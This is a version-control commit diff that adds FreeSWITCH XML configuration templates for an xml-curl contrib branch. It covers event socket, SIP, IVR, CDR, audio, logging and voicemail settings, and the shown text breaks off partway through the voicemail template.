Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/event_multicast.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/event_multicast.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/event_multicast.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/event_multicast.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,13 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="event_multicast.conf" description="Multicast Event">
+  <settings>
+    <param name="address" value="225.1.1.1"/>
+    <param name="port" value="4242"/>
+    <param name="bindings" value="all"/>
+  </settings>
+</configuration>
+
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/event_socket.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/event_socket.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/event_socket.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/event_socket.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/event_socket.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="event_socket.conf" description="Socket Client">
+  <settings>
+    <param name="listen-ip" value="127.0.0.1"/>
+    <param name="listen-port" value="8021"/>
+    <param name="password" value="ClueCon"/>
+  </settings>
+</configuration>
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/freeswitch.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/freeswitch.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/freeswitch.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/freeswitch.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/freeswitch.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,160 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <!--#comment 
+      All comments starting with #command will be preprocessed and never sent to the xml parser
+      Valid instructions:
+      #include ==> Include another file to this exact point
+                   (partial xml should be encased in <include></include> tags)
+      #set     ==> Set a global variable (can be expanded during preprocessing with $$ variables)
+                   (note the double $$ which denotes preprocessor variables)
+      #comment ==> A general comment such as this
+      
+      The preprocessor will compile the full xml document to ${prefix}/log/freeswitch.registry
+      Don't modify it while freeswitch is running cos it is mem mapped in most cases =D
+  -->
+
+  <!-- Preprocessor Variables
+       These are introduced when configuration strings must be consistent across modules. 
+   -->
+  <!-- sip_profile 
+       Must be a domain name if you are being a registry server; otherwise
+       can be any string.
+       used by: sofia.conf.xml enum.conf.xml default_context.xml directory.xml
+  --> 
+  <!--#set "sip_profile=mydomain.com"-->
+  <!-- xmpp_client_profile and xmpp_server_profile
+       xmpp_client_profile can be any string. 
+       xmpp_server_profile is appended to "dingaling_" to form the database name
+       containing the "subscriptions" table.
+       used by: dingaling.conf.xml enum.conf.xml 
+  --> 
+  <!--#set "global_codec_prefs=PCMU@20i"-->
+  <!--#set "xmpp_client_profile=xmppc"-->
+  <!--#set "xmpp_server_profile=xmpps"-->
+  <!-- bind_server_ip
+       Can be an ip address, a dns name, or "auto". 
+       This determines an ip address available on this host to bind.
+       If you are separating RTP and SIP traffic, you will want to have
+       use different addresses where this variable appears.
+       Used by: sofia.conf.xml dingaling.conf.xml
+  -->
+  <!--#set "bind_server_ip=auto"-->
+  <!-- external_rtp_ip
+       Used as the public IP address for SDP.
+       Can be an ip address or a string like "stun:stun.server.com" 
+       If unspecified, the bind_server_ip value is used.
+       Used by: sofia.conf.xml dingaling.conf.xml
+  -->
+  <!--#set "external_rtp_ip=stun:stun.server.com"-->
+  <!-- server_name
+       A public ip address or DNS name that is used when advertising conference
+       presence or registering sip.
+       Used by: conference.conf.xml
+  --> 
+  <!-- outbound_caller_id and outbound_caller_name
+       The caller ID telephone number we should use when calling out.
+       Used by: conference.conf.xml
+  -->
+  <!--#set "outbound_caller_name=FreeSWITCH"-->
+  <!--#set "outbound_caller_id=8777423583"-->
+
+  <section name="configuration" description="Various Configuration">
+    <!--#include "switch.conf.xml"-->
+    <!--#include "modules.conf.xml"-->
+
+    <!-- Order doesn't matter, but for clarity these are in same order as modules.conf.xml. 
+         If they aren't loaded by modules.conf.xml, then they are ignored.
+    --> 
+    <!-- Loggers -->
+    <!--#include "console.conf.xml"-->
+    <!--#include "syslog.conf.xml"-->
+
+    <!-- Multi-Faceted -->
+    <!--#include "enum.conf.xml"-->
+
+    <!-- XML Interfaces --> 
+    <!--#include "xml_rpc.conf.xml"-->
+    <!--#include "xml_cdr.conf.xml"-->
+    <!--#include "xml_curl.conf.xml"-->
+    <!-- none for mod_xml_cdr -->
+
+    <!-- Event Handlers -->
+    <!--#include "cdr.conf.xml"-->
+    <!--#include "event_multicast.conf.xml"-->
+    <!--#include "event_socket.conf.xml"-->
+    <!--#include "xmpp_event.conf.xml"-->
+    <!--#include "zeroconf.conf.xml"-->
+
+    <!-- Directory Interfaces -->
+    <!-- none for mod_ldap; dialplan_directory.conf.xml has ldap connection info -->
+
+    <!-- Endpoints -->
+    <!--#include "dingaling.conf.xml"-->
+    <!--#include "iax.conf.xml"-->
+    <!--#include "portaudio.conf.xml"-->
+    <!--#include "alsa.conf.xml"-->
+    <!--#include "sofia.conf.xml"-->
+    <!--#include "wanpipe.conf.xml"-->
+    <!--#include "woomera.conf.xml"-->
+
+    <!-- Applications -->
+    <!-- none for mod_bridgecall, mod_commands, mod_echo, mod_park, mod_playback --> 
+    <!--#include "conference.conf.xml"-->
+    <!-- ivr.conf is used by mod_dptools -->
+    <!--#include "ivr.conf.xml"-->
+
+    <!-- Dialplan Interfaces -->
+    <!--#include "dialplan_directory.conf.xml"-->
+    <!-- mod_dialplan_xml is configured in the separate "dialplan" section. -->
+
+    <!-- Codec Interfaces -->
+    <!-- no configuration needed -->
+    <!-- File Format Interfaces -->
+    <!-- no configuration needed -->
+    <!-- Timers -->
+    <!-- no configuration needed -->
+
+    <!-- Languages -->
+    <!--#include "spidermonkey.conf.xml"-->
+    <!-- none for mod_perl -->
+
+    <!-- ASR /TTS -->
+    <!-- none for mod_cepstral -->
+    <!--#include "rss.conf.xml"-->
+
+    <!-- Say -->
+    <!-- none for mod_say_en -->
+    <!--#include "mod_cdr.conf.xml"-->
+    <!--#include "mod_local_stream.conf.xml"-->
+  </section>
+  
+  <section name="dialplan" description="Regex/XML Dialplan">
+    <!--#include "default_context.xml"-->
+  </section>
+
+  <!-- mod_dingaling is reliant on the vcard data in the "directory" section. -->
+  <!-- mod_sofia is reliant on the user data for authorization --> 
+  <section name="directory" description="User Directory">
+    <!--#include "directory.xml"-->
+  </section>
+
+  <!-- phrases section (under development still) -->
+  <section name="phrases" description="Speech Phrase Management">
+    <macros>
+      <language name="en" sound_path="/snds" tts_engine="cepstral" tts_voice="david">
+	<!--#include "lang_en.xml"-->
+      </language>
+      <language name="fr" sound_path="/var/sounds/lang/fr/jean" tts_engine="cepstral" tts_voice="jean-pierre">
+	<!--#include "lang_fr.xml"-->
+      </language>
+    </macros>
+  </section>
+
+</document>
+
+
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/iax.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/iax.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/iax.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/iax.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/iax.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,16 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="iax.conf" description="IAX Configuration">
+  <settings>
+    <param name="debug" value="0"/>
+    <!-- <param name="ip" value="1.2.3.4"/> -->
+    <param name="port" value="4569"/>
+    <param name="dialplan" value="XML"/>
+    <param name="codec-prefs" value="PCMU@20i,PCMA,speex,L16"/>
+    <param name="codec-master" value="us"/>
+    <param name="codec-rates" value="8"/>
+  </settings>
+</configuration>
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/ivr.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/ivr.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/ivr.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/ivr.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/ivr.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,44 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="ivr.conf" description="IVR menus">
+  <menus>
+    <menu name="main"
+	  greet-long="/soundfiles/greet-long.wav" 
+	  greet-short="/soundfiles/greet-short.wav"
+	  invalid-sound="/soundfiles/invalid.wav"
+	  exit-sound="/soundfiles/exit.wav" timeout ="15" max-failures="3">
+      <entry action="menu-exit" digits="*"/>
+      <entry action="menu-sub" digits="2" param="menu2"/>
+      <entry action="menu-exec-api" digits="3" param="api arg"/>
+      <entry action="menu-play-sound" digits="4" param="/soundfiles/4.wav"/>
+      <entry action="menu-back" digits="5"/>
+      <entry action="menu-call-transfer" digits="7" param="888"/>
+      <entry action="menu-sub" digits="8" param="menu8"/>
+    </menu>
+    <menu name="menu8"
+	  greet-long="/soundfiles/greet-long.wav"
+	  greet-short="/soundfiles/greet-short.wav"
+	  invalid-sound="/soundfiles/invalid.wav"
+	  exit-sound="/soundfiles/exit.wav"
+	  timeout ="15"
+	  max-failures="3">
+      <entry action="menu-back" digits="#"/>
+      <entry action="menu-play-sound" digits="4" param="/soundfiles/4.wav"/>
+      <entry action="menu-top" digits="*"/>
+    </menu>
+    <menu name="menu2"
+	  greet-long="/soundfiles/greet-long.wav"
+	  greet-short="/soundfiles/greet-short.wav"
+	  invalid-sound="/soundfiles/invalid.wav"
+	  exit-sound="/soundfiles/exit.wav"
+	  timeout ="15"
+	  max-failures="3">
+      <entry action="menu-back" digits="#"/>
+      <entry action="menu-play-sound" digits="4" param="/soundfiles/4.wav"/>
+      <entry action="menu-top" digits="*"/>
+    </menu>
+  </menus>
+</configuration> 
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/mod_cdr.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/mod_cdr.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/mod_cdr.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/mod_cdr.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/mod_cdr.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,30 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="mod_cdr.conf" description="CDR Configuration">
+  <pddcdr>
+    <param name="path" value="/work/temp/pddcdr"/>
+    <!-- <param name="chanvars" value="username,accountcode"/> -->
+    <!-- <param name="chanvars_fixed" value="foo"/> -->
+  </pddcdr>
+  <csvcdr>
+    <param name="path" value="/work/temp/csvcdr"/>
+    <param name="size_limit" value="25"/>
+    <!-- <param name="chanvars_fixed" value="username"/> -->
+    <!-- <param name="chanvars_supp" value="*"/> -->
+    <!-- <param name="repeat_fixed_in_supp" value="0"/> -->
+  </csvcdr>
+  <mysqlcdr>
+    <param name="hostname" value="10.0.0.1"/>
+    <param name="username" value="test"/>
+    <param name="password" value="test"/>
+    <param name="dbname" value="testing"/>
+    <!-- This following line logs username as a varchar, and The_Kow as a tiny -->
+    <!-- <param name="chanvars_fixed" value="username=s,The_Kow=t"/> -->
+    <!-- If you do not want to log any and all chanvars to the chanvar table, comment the next 2 lines out -->
+    <param name="chanvars_supp" value="*"/>
+    <param name="chanvars_supp_repeat_fixed" value="0"/>
+  </mysqlcdr>
+</configuration>
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/portaudio.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/portaudio.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/portaudio.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/portaudio.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/portaudio.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,38 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="portaudio.conf" description="Soundcard Endpoint">
+  <settings>
+    <!-- indev, outdev, ringdev: 
+	 partial case sensitive string match on something in the name 
+	 or the device number prefixed with # eg "#1" (or blank for default) -->
+
+    <!-- device to use for input -->
+    <param name="indev" value=""/>
+    <!-- device to use for output -->
+    <param name="outdev" value=""/>
+
+    <!--device to use for inbound ring -->
+    <!--<param name="ringdev" value=""/>-->
+    <!--File to play as the ring sound -->
+    <!--<param name="ring-file" value="/sounds/ring.wav"/>-->
+    <!--Number of seconds to pause between rings -->
+    <!--<param name="ring-interval" value="5"/>-->
+
+    <!--file to play when calls are on hold-->
+    <!--<param name="hold-file" value="/sounds/holdmusic.wav"/>-->
+    <!--Timer to use for hold music (i'd leave this one commented)-->
+    <!--<param name="timer-name" value="soft"/>-->
+
+    <!--Default dialplan and caller-id info -->
+    <param name="dialplan" value="XML"/>
+    <param name="cid-name" value="FreeSwitch"/>
+    <param name="cid-num" value="5555551212"/>
+
+    <!--audio sample rate and interval -->
+    <param name="sample-rate" value="8000"/>
+    <param name="codec-ms" value="20"/>
+  </settings>
+</configuration>
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/post_load_modules.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/post_load_modules.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/post_load_modules.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/post_load_modules.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/post_load_modules.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,73 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="post_load_modules.conf" description="Modules">
+  <modules>
+    <!-- Multi-Faceted -->
+    <!-- mod_enum is a dialplan interface, an application interface and an api command interface -->
+    <load module="mod_enum"/>
+
+    <!-- XML Interfaces -->
+    <load module="mod_xml_rpc"/>
+    <load module="mod_xml_cdr"/>
+
+    <!-- Event Handlers -->
+    <!-- <load module="mod_cdr"/> -->
+    <!-- <load module="mod_event_multicast"/> -->
+    <load module="mod_event_socket"/>
+    <!-- <load module="mod_xmpp_event"/> -->
+    <!-- <load module="mod_zeroconf"/> -->
+
+    <!-- Directory Interfaces -->
+    <!-- <load module="mod_ldap"/> -->
+
+    <!-- Endpoints -->
+    <!-- <load module="mod_dingaling"/> -->
+    <!--<load module="mod_iax"/>-->
+    <load module="mod_portaudio"/>
+    <load module="mod_alsa"/>
+    <load module="mod_sofia"/>
+    <!-- <load module="mod_wanpipe"/> -->
+    <!-- <load module="mod_woomera"/> -->
+
+    <!-- Applications -->
+    <load module="mod_commands"/>
+    <load module="mod_conference"/>
+    <load module="mod_dptools"/>
+
+    <!-- Dialplan Interfaces -->
+    <!-- <load module="mod_dialplan_directory"/> -->
+    <load module="mod_dialplan_xml"/>
+
+    <!-- Codec Interfaces -->
+    <load module="mod_g711"/>
+    <load module="mod_gsm"/>
+    <!-- <load module="mod_ilbc"/> -->
+    <load module="mod_l16"/>
+    <!-- <load module="mod_speex"/> -->
+
+    <!-- File Format Interfaces -->
+    <load module="mod_sndfile"/>
+    <load module="mod_native_file"/>
+    <!--For icecast/mp3 streams/files-->
+    <!--<load module="mod_shout"/>-->
+    <!--For local streams (play all the files in a directory)-->
+    <!--<load module="mod_local_stream"/>-->
+
+    <!-- Timers -->
+    <load module="mod_softtimer"/>
+
+    <!-- Languages -->
+    <load module="mod_spidermonkey"/>
+    <!-- <load module="mod_perl"/> -->
+
+    <!-- ASR /TTS -->
+    <load module="mod_cepstral"/>
+    <!-- <load module="mod_rss"/> -->
+    
+    <!-- Say -->
+    <load module="mod_say_en"/>
+  </modules>
+</configuration>
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/rss.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/rss.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/rss.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/rss.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/rss.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="rss.conf" description="RSS Parser">
+  <feeds>
+    <!-- Just download the files to wherever and refer to them here -->
+    <!-- <feed name="Slash Dot">/home/rss/rss.rss</feed> -->
+    <!-- <feed name="News Forge">/home/rss/newsforge.rss</feed> -->
+  </feeds>
+</configuration>
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/sofia.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/sofia.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/sofia.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/sofia.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/sofia.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,101 @@
+{literal}
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="sofia.conf" description="sofia Endpoint">
+  <profiles>
+    <profile name="internal">
+      <!--aliases are other names that will work as a valid profile name for this profile-->
+      <aliases>
+	<alias name="default"/>
+      </aliases>
+      <!-- Outbound Registrations -->
+      <gateways>
+	<!--<gateway name="asterlink.com">-->
+	  <!--/// account username *required* ///-->
+	  <!--<param name="username" value="cluecon"/>-->
+	  <!--/// auth realm: *optional* same as gateway name, if blank ///-->
+	  <!--<param name="realm" value="asterlink.com"/>-->
+	  <!--/// domain to use in from: *optional* same as  realm, if blank ///-->
+	  <!--<param name="from-domain" value="asterlink.com"/>-->
+	  <!--/// account password *required* ///-->
+	  <!--<param name="password" value="2007"/>--> 
+	  <!--/// replace the INVITE from user with the channel's caller-id ///-->
+	  <!--<param name="caller-id-in-from" value="false"/>-->
+	  <!--/// extension for inbound calls: *optional* same as username, if blank ///-->
+	  <!--<param name="extension" value="cluecon"/>-->
+	  <!--/// proxy host: *optional* same as realm, if blank ///-->
+	  <!--<param name="proxy" value="asterlink.com"/>-->
+	  <!--/// expire in seconds: *optional* 3600, if blank ///-->
+	  <!--<param name="expire-seconds" value="60"/>-->
+	  <!--/// do not register ///-->
+	  <!--<param name="register" value="false"/>-->
+	  <!--How many seconds before a retry when a failure or timeout occurs -->
+	  <!--<param name="retry_seconds" value="30"/>-->
+	  <!--Use the callerid of an inbound call in the from field on outbound calls via this gateway -->
+	  <!--<param name="caller-id-in-from" value="false"/>-->
+	<!--</gateway>-->
+      </gateways>
+
+      <domains>
+	<!-- indicator to parse the directory for domains with parse="true" to get gateways-->
+	<!--<domain name="trxtel.com" parse="true"/>-->
+      </domains>
+
+      <settings>
+	<param name="debug" value="1"/>
+	<param name="rfc2833-pt" value="101"/>
+	<param name="sip-port" value="5060"/>
+	<param name="dialplan" value="XML"/>
+	<param name="dtmf-duration" value="100"/>
+	<param name="codec-prefs" value="PCMU@20i"/>
+	<param name="codec-ms" value="20"/>
+	<param name="use-rtp-timer" value="true"/>
+	<param name="rtp-timer-name" value="soft"/>
+	<param name="rtp-ip" value="0.0.0.0"/>
+	<param name="sip-ip" value="0.0.0.0"/>
+	<!--set to 'greedy' if you want your codec list to take precedence -->
+	<param name="inbound-codec-negotiation" value="generous"/>
+	<!-- if you want to send any special bind params of your own -->
+	<!--<param name="bind-params" value="transport=udp"/>-->
+
+	<!--If you don't want to pass through timestampes from 1 RTP call to another (on a per call basis with rtp_rewrite_timestamps chanvar)-->
+	<!--<param name="rtp-rewrite-timestampes" value="true"/>-->
+
+	<!--If you have ODBC support and a working dsn you can use it instead of SQLite-->
+	<!--<param name="odbc-dsn" value="dsn:user:pass"/>-->
+
+	<!--Uncomment to set all inbound calls to no media mode-->
+	<!--<param name="inbound-no-media" value="true"/>-->
+
+	<!--Uncomment to let calls hit the dialplan *before* you decide if the codec is ok-->
+	<!--<param name="inbound-late-negotiation" value="true"/>-->
+
+	<!-- this lets anything register -->
+	<!--  comment the next line and uncomment one or both of the other 2 lines for call authentication -->
+<!--	<param name="accept-blind-reg" value="true"/> -->
+
+	<!--TTL for nonce in sip auth-->
+	<param name="nonce-ttl" value="60"/>
+	<!--Uncomment if you want to force the outbound leg of a bridge to only offer the codec 
+	    that the originator is using-->
+	<!--<param name="disable-transcoding" value="true"/>-->
+	<!--<param name="auth-calls" value="true"/>-->
+	<!-- on authed calls, authenticate *all* the packets not just invite -->
+	<!--<param name="auth-all-packets" value="true"/>-->
+
+	<!-- <param name="ext-rtp-ip" value="$${external_rtp_ip}"/>-->
+
+	<!-- <param name="ext-sip-ip" value="100.101.102.103"/> -->
+	<!-- VAD choose one (out is a good choice); -->
+	<!-- <param name="vad" value="in"/> -->
+	<!-- <param name="vad" value="out"/> -->
+	<!-- <param name="vad" value="both"/> -->
+	<!--<param name="alias" value="sip:10.0.1.251:5555"/>-->
+      </settings>
+    </profile>
+  </profiles>
+</configuration>
+</section>
+</document>
+{/literal}

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/spidermonkey.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/spidermonkey.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/spidermonkey.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/spidermonkey.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/spidermonkey.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="spidermonkey.conf" description="Spider Monkey JavaScript Plug-Ins">
+  <modules>
+    <load module="mod_spidermonkey_teletone"/>
+    <load module="mod_spidermonkey_core_db"/>
+    <!--<load module="mod_spidermonkey_odbc"/>-->
+  </modules>
+</configuration>
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/switch.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/switch.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/switch.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/switch.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/switch.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,23 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="switch.conf" description="Modules">
+  <settings>
+    <!--Most channels to allow at once -->
+    <param name="max-sessions" value="1000"/>
+    <!--Try to catch any crashes that can be recoverable (in the context of a call)-->
+    <param name="crash-protection" value="false"/>
+    <!--RTP port range -->
+    <!--<param name="rtp-start-port" value="16384"/>-->
+    <!--<param name="rtp-end-port" value="32768"/>-->
+  </settings>
+  <!--Any variables defined here will be available in every channel, in the dialplan etc -->
+  <variables>
+    <variable name="uk-ring" value="%(400,200,400,450);%(400,2200,400,450)"/>
+    <variable name="us-ring" value="%(2000, 4000, 440.0, 480.0)"/>
+    <variable name="bong-ring" value="v=4000;>=0;+=2;#(60,0);v=2000;%(940,0,350,440)"/>
+  </variables>
+</configuration>
+
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/syslog.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/syslog.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/syslog.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/syslog.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/syslog.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,22 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="syslog.conf" description="Syslog Logger">
+  <!-- SYSLOG -->
+  <!-- emerg   - system is unusable  -->
+  <!-- alert   - action must be taken immediately  -->
+  <!-- crit    - critical conditions  -->
+  <!-- err     - error conditions  -->
+  <!-- warning - warning conditions  -->
+  <!-- notice  - normal, but significant, condition  -->
+  <!-- info    - informational message  -->
+  <!-- debug   - debug-level message -->
+  <settings>
+    <param name="ident" value="freeswitch"/>
+    <param name="facility" value="user"/>
+    <param name="format" value="${time} - ${message}"/>
+    <param name="level" value="debug,info,warning-alert"/>
+  </settings>
+</configuration>
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/voicemail.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/voicemail.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/voicemail.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/voicemail.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/voicemail.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,50 @@
+<configuration name="voicemail.conf" description="Voicemail">
+  <settings>
+  </settings>
+  <profiles>
+    <profile name="default">
+      <param name="file-extension" value="wav"/>
+      <param name="terminator-key" value="#"/>
+      <param name="max-login-attempts" value="3"/>
+      <param name="digit-timeout" value="10000"/>
+      <param name="max-record-len" value="300"/>
+      <param name="tone-spec" value="%(1000, 0, 640)"/>
+      <param name="callback-dialplan" value="XML"/>
+      <param name="callback-context" value="default"/>
+      <param name="terminator-key" value="#"/>
+      <param name="play-new-messages-key" value="1"/>
+      <param name="play-saved-messages-key" value="2"/>
+      <param name="main-menu-key" value="0"/>
+      <param name="config-menu-key" value="5"/>
+      <param name="record-greeting-key" value="1"/>
+      <param name="choose-greeting-key" value="2"/>
+      <param name="record-name-key" value="3"/>
+      <param name="record-file-key" value="3"/>
+      <param name="listen-file-key" value="1"/>
+      <param name="save-file-key" value="2"/>
+      <param name="delete-file-key" value="7"/>
+      <param name="undelete-file-key" value="8"/>
+      <param name="email-key" value="4"/>
+      <param name="pause-key" value="0"/>
+      <param name="restart-key" value="1"/>
+      <param name="ff-key" value="6"/>
+      <param name="rew-key" value="4"/>
+      <email>
+        <body>{literal}<![CDATA[At ${voicemail_time} you were left a message from ${voicemail_caller_id_name} ${voicemail_caller_id_number}
+to your account ${voicemail_account}@${voicemail_domain}
+]]>{/literal}</body>
+        <headers>{literal}<![CDATA[From: FreeSWITCH mod_voicemail <${voicemail_account}@${voicemail_domain}>
+To: <${voicemail_email}>
+Subject: Voicemail from ${voicemail_caller_id_name} ${voicemail_caller_id_number}
+X-Priority: ${voicemail_priority}
+X-Mailer: FreeSWITCH
+]]>{/literal}</headers>
+        <!-- this is the format voicemail_time will have -->
